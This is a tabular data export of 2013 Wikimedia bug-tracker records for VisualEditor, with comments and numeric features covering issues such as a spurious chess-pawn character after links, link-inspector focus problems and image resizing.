255475,VisualEditor: Double-click on a parameter in the selection menu should insert it,"Change 73865 had a related patch set uploaded by Trevor Parscal:
Single-click insertion

https://gerrit.wikimedia.org/r/73865",,,1373922497,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6ey7x6n5abzoqr3wo43j,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.631578947368421,1.0,"Change 73865 had a related patch set uploaded by Trevor Parscal:
Single-click insertion

GERRIT_URL"
53140,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"Seems to happen specifically in https://en.wikipedia.org/wiki/Jabhala?veaction=edit for no apparent reason; try it.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373495580,1373926253.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ft4ssckvycvjlzjy3fax,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.71875,"Seems to happen specifically in URL for no apparent reason; try it.

--------------------------
**Version**: unspecified
**Severity**: normal"
255245,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,*** Bug 51112 has been marked as a duplicate of this bug. ***,,,1373928303,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51112 has been marked as a duplicate of this bug. ***
255238,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,Fixed and merged.,,,1373926253,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Fixed and merged.
255231,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"Change 73874 merged by jenkins-bot:
Replace text strings with grapheme arrays in onContentChange

https://gerrit.wikimedia.org/r/73874",,,1373926221,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.105263157894737,1.0,"Change 73874 merged by jenkins-bot:
Replace text strings with grapheme arrays in onContentChange

GERRIT_URL"
255224,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"Change 73874 had a related patch set uploaded by Esanders:
Replace text strings with grapheme arrays in onContentChange

https://gerrit.wikimedia.org/r/73874",,,1373925628,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.2272727272727275,1.0,"Change 73874 had a related patch set uploaded by Esanders:
Replace text strings with grapheme arrays in onContentChange

GERRIT_URL"
255217,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"**weskaggs** wrote:

Further observations:  the ""pawn"" has utf-8 hex code E2 99 99.  The multibyte characters that provoke this behavior are either of:

devangiri letter LA, unicode 0x2354, utf-8 hex E0 A4 B2
devangiri letter BHA, unicode 0x2349, utf-8 hex E0 A4 AD",,,1373499407,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,18.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.6451612903225805,0.6612903225806451,"**weskaggs** wrote:

Further observations:  the ""pawn"" has utf-8 hex code E2 99 99.  The multibyte characters that provoke this behavior are either of:

devangiri letter LA, unicode 0x2354, utf-8 hex E0 A4 B2
devangiri letter BHA, unicode 0x2349, utf-8 hex E0 A4 AD"
255207,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"Turns out that it happens when inserting any character after the link, but only at the position immediately after the link (so the second character isn't pawned because there's something (the first pawn) between it and the link), and only if there is multibyte text in the same paragraph preceding the link.

The article's first and only paragraph starts with ""Jabhala (Hindi:जभाला) is..."" and so this bug affects every link on that article. But it doesn't affect any links before जभाला (there aren't any right now but you can create them), and if you use Enter to break the paragraph after the Hindi text, it doesn't affect any links in the second paragraph either.

Assigning to Ed because this is a multibyte issue.",,,1373498121,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,False,,,1,,3.0,0.5,0.0,0.5,2.5,2.5,0.5,1.0,0.0,1.0,1.0,2.5,0.0,1.5,1.5,0.0,0.0,8.0,10.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,7.0,0.0,2.5,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,13.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,5.5,3.5,4.5,12.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,4.5,10.5,3.0,0.0,1.0,0.0,4.5,0.0,0.5,0.5,0.5,1.5,0.0,0.0,0.0,3.9342105263157894,0.6907894736842106,"Turns out that it happens when inserting any character after the link, but only at the position immediately after the link (so the second character isn't pawned because there's something (the first pawn) between it and the link), and only if there is multibyte text in the same paragraph preceding the link.

The article's first and only paragraph starts with ""Jabhala (Hindi:जभाला) is..."" and so this bug affects every link on that article. But it doesn't affect any links before जभाला (there aren't any right now but you can create them), and if you use Enter to break the paragraph after the Hindi text, it doesn't affect any links in the second paragraph either.

Assigning to Ed because this is a multibyte issue."
255199,VisualEditor: Typing immediately after link introduces pawn (♙) if link is preceded by multibyte text,"**weskaggs** wrote:

In case it may be helpful, the character produced is a white chess pawn, unicode 0x2659 (html &#9817).  This character is produced if any character is added immediately after any of the three links in the first sentence, but not if a character is added after a link in the second sentence.  If the Hindi text in the first sentence is deleted, then characters entered after a link produce the correct result.",,,1373498038,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ft4ssckvycvjlzjy3fax,task_subcomment,,True,c1,3,False,,,1,,2.0,0.0,0.0,4.0,1.0,8.0,2.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,4.0,3.0,2.0,15.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,1.0,12.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.827956989247312,0.6021505376344086,"**weskaggs** wrote:

In case it may be helpful, the character produced is a white chess pawn, unicode 0x2659 (html &#9817).  This character is produced if any character is added immediately after any of the three links in the first sentence, but not if a character is added after a link in the second sentence.  If the Hindi text in the first sentence is deleted, then characters entered after a link produce the correct result."
53135,"VisualEditor: Should ""remove template"" be under a label such as ""actions"" instead of options?","An English Wikipedia editor suggests that the ""remove template"" button should be in a section labeled ""actions"", not options. A non-native speaker, he does not find the ""options"" label intuitive.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51672",High,80.0,1373485740,1394073325.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-nilflssh5x72tinfk7a6,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,3.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,13.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,9.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6285714285714286,0.6285714285714286,"An English Wikipedia editor suggests that the ""remove template"" button should be in a section labeled ""actions"", not options. A non-native speaker, he does not find the ""options"" label intuitive.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
254945,"VisualEditor: Should ""remove template"" be under a label such as ""actions"" instead of options?","This has now been moved from the ""options"" section to a small rubbish bin icon next to each template's name, and duplicated in the control section in the left navigation bar.",,,1394073325,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nilflssh5x72tinfk7a6,task_subcomment,,True,c1,3,True,,,35,,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8333333333333334,"This has now been moved from the ""options"" section to a small rubbish bin icon next to each template's name, and duplicated in the control section in the left navigation bar."
254938,"VisualEditor: Should ""remove template"" be under a label such as ""actions"" instead of options?","We don't like the ""Options"" label either (it's a standard part of dialog panes in VE, but here it doesn't add anything).",,,1375325511,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nilflssh5x72tinfk7a6,task_subcomment,,True,c1,3,True,,,4,,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,10.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,6.0,6.0,0.0,6.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.193548387096774,0.9032258064516129,"We don't like the ""Options"" label either (it's a standard part of dialog panes in VE, but here it doesn't add anything)."
53112,VisualEditor: replacing the first character in the link text inserts ♙ instead of a proper symbol,"**Author:** `p.selitskas`

**Description:**
Page where issue occures: https://be-x-old.wikipedia.org/wiki/%D0%93%D1%80%D1%8D%D0%B3%D0%B0%D1%80%D1%8B%D1%8F%D0%BD%D1%81%D0%BA%D1%96_%D0%BA%D0%B0%D0%BB%D1%8F%D0%BD%D0%B4%D0%B0%D1%80

When I change the first character of the link text by selecting it first and then typing, chess symbol ♙ replaces the original character. Due to bug 50678 not being resolved yet, I tried this way and revealed such behaviour. For the point, it's no matter how many characters are selected, chess symbol arrives if the first character in the link text is included in the selection.

It seems to take place in the lead part of the article only. When I change links in the tables and other sections of the page, it all looks fine.

Worth noticing: after I enter the editing mode and change the link in the first table header (text: Апошні дзень Юліянскага календару), it works like a charm, but as I press Ctrl+Z, it turns to «Апошні дзень ♙ліянскага календару», and I have to press Ctrl+Z once again to fix it back to the original state.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373468880,1373928303.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-qjailuyl4kenb2ytqa5a,task_description,resolved,True,c1,3,False,False,True,1,,0.6666666666666666,0.0,0.0,1.0,0.3333333333333333,5.0,0.0,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,5.0,7.666666666666667,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.333333333333333,0.6666666666666666,2.6666666666666665,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,13.666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,1.0,9.333333333333334,1.6666666666666667,2.3333333333333335,6.333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,5.0,7.666666666666667,6.333333333333333,0.0,0.0,0.0,5.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,3.804447052686489,0.7020735524256652,"**Author:** CODE

**Description:**
Page where issue occures: URL

When I change the first character of the link text by selecting it first and then typing, chess symbol ♙ replaces the original character. Due to bug 50678 not being resolved yet, I tried this way and revealed such behaviour. For the point, it's no matter how many characters are selected, chess symbol arrives if the first character in the link text is included in the selection.

It seems to take place in the lead part of the article only. When I change links in the tables and other sections of the page, it all looks fine.

Worth noticing: after I enter the editing mode and change the link in the first table header (text: Апошні дзень Юліянскага календару), it works like a charm, but as I press Ctrl+Z, it turns to «Апошні дзень ♙ліянскага календару», and I have to press Ctrl+Z once again to fix it back to the original state.

--------------------------
**Version**: unspecified
**Severity**: normal"
253838,VisualEditor: replacing the first character in the link text inserts ♙ instead of a proper symbol,"

*** This bug has been marked as a duplicate of bug 51140 ***",,,1373928303,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-qjailuyl4kenb2ytqa5a,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51140 ***"
53075,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line","Create a link and hit return before the input field in the link inspector is focused and the text in the surface will be replaced with a new line.  Not linked text.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373408400,1373421287.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-sby6wjdxcouq3g5mq67p,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,8.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8679245283018866,0.660377358490566,"Create a link and hit return before the input field in the link inspector is focused and the text in the surface will be replaced with a new line.  Not linked text.

--------------------------
**Version**: unspecified
**Severity**: normal"
251893,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line",This code has been fixed and we'll get it deployed tomorrow.,,,1373421287,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sby6wjdxcouq3g5mq67p,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,1.0,This code has been fixed and we'll get it deployed tomorrow.
251889,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line","Change 72852 merged by jenkins-bot:
Lock surface while inspectors are animating open

https://gerrit.wikimedia.org/r/72852",,,1373421247,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sby6wjdxcouq3g5mq67p,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.777777777777778,1.0,"Change 72852 merged by jenkins-bot:
Lock surface while inspectors are animating open

GERRIT_URL"
251885,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line","Change 72849 merged by jenkins-bot:
Be sure lookupMenu input is focused before showing

https://gerrit.wikimedia.org/r/72849",,,1373412771,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sby6wjdxcouq3g5mq67p,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.578947368421052,1.0,"Change 72849 merged by jenkins-bot:
Be sure lookupMenu input is focused before showing

GERRIT_URL"
251881,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line","Change 72849 had a related patch set uploaded by Jforrester:
Be sure lookupMenu input is focused before showing.

https://gerrit.wikimedia.org/r/72849",,,1373410794,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sby6wjdxcouq3g5mq67p,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.695652173913044,1.0,"Change 72849 had a related patch set uploaded by Jforrester:
Be sure lookupMenu input is focused before showing.

GERRIT_URL"
251877,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line","Change 72852 had a related patch set uploaded by Robmoen:
Decrease the time it takes to focus the input element.

https://gerrit.wikimedia.org/r/72852",,,1373409417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sby6wjdxcouq3g5mq67p,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,16.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.24,0.96,"Change 72852 had a related patch set uploaded by Robmoen:
Decrease the time it takes to focus the input element.

GERRIT_URL"
53026,VisualEditor: Resizing an image without an explicit size doesn't work,"If an image is formatted as [[File:foo.jpg|thumb]] rather than |BARpx, image resizing does not work.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1373366640,1374106684.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-l2askobdymn34t55t5lm,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,3.8292682926829267,0.6829268292682927,"If an image is formatted as [[File:foo.jpg|thumb]] rather than |BARpx, image resizing does not work.

--------------------------
**Version**: unspecified
**Severity**: major"
249201,VisualEditor: Resizing an image without an explicit size doesn't work,"

